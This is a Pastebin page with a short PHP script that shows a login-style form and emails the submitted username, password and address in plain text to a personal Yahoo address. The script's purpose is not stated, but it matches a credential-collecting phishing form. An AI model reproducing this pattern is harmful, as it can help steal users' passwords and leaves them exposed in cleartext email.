Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(isset($_POST['submit']))
- {
- $to = "hawkins.haroon@yahoo.com";
- $subject = "Form Submittion";
- $headers = "From: noreply@mywebsite.com";
- $body = "Hello,\n\There has been a new submission on the form on your website, below are the user's details:\n\nUsername: $_POST[username]\nAddress: $_POST[address]\nPassword: $_POST[password]\n\nSincerely\nAuto-Message Daemon";
- if(mail($to,$subject,$body,$headers))
- {
- echo "Message has been sent to the site admin!";
- }
- else
- {
- echo "Error while mailing!";
- }
- }
- else
- {
- echo "<form method='post'>";
- echo "Username: <input type='text' name='username' id='username'><br />";
- echo "Password: <input type='password' name='password' id='password'><br />";
- echo "Address: <input type='text' name='address' id='address'><br />";
- echo "<input type='submit' id='submit' name='submit' value='Send Email'>";
- echo "</form>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement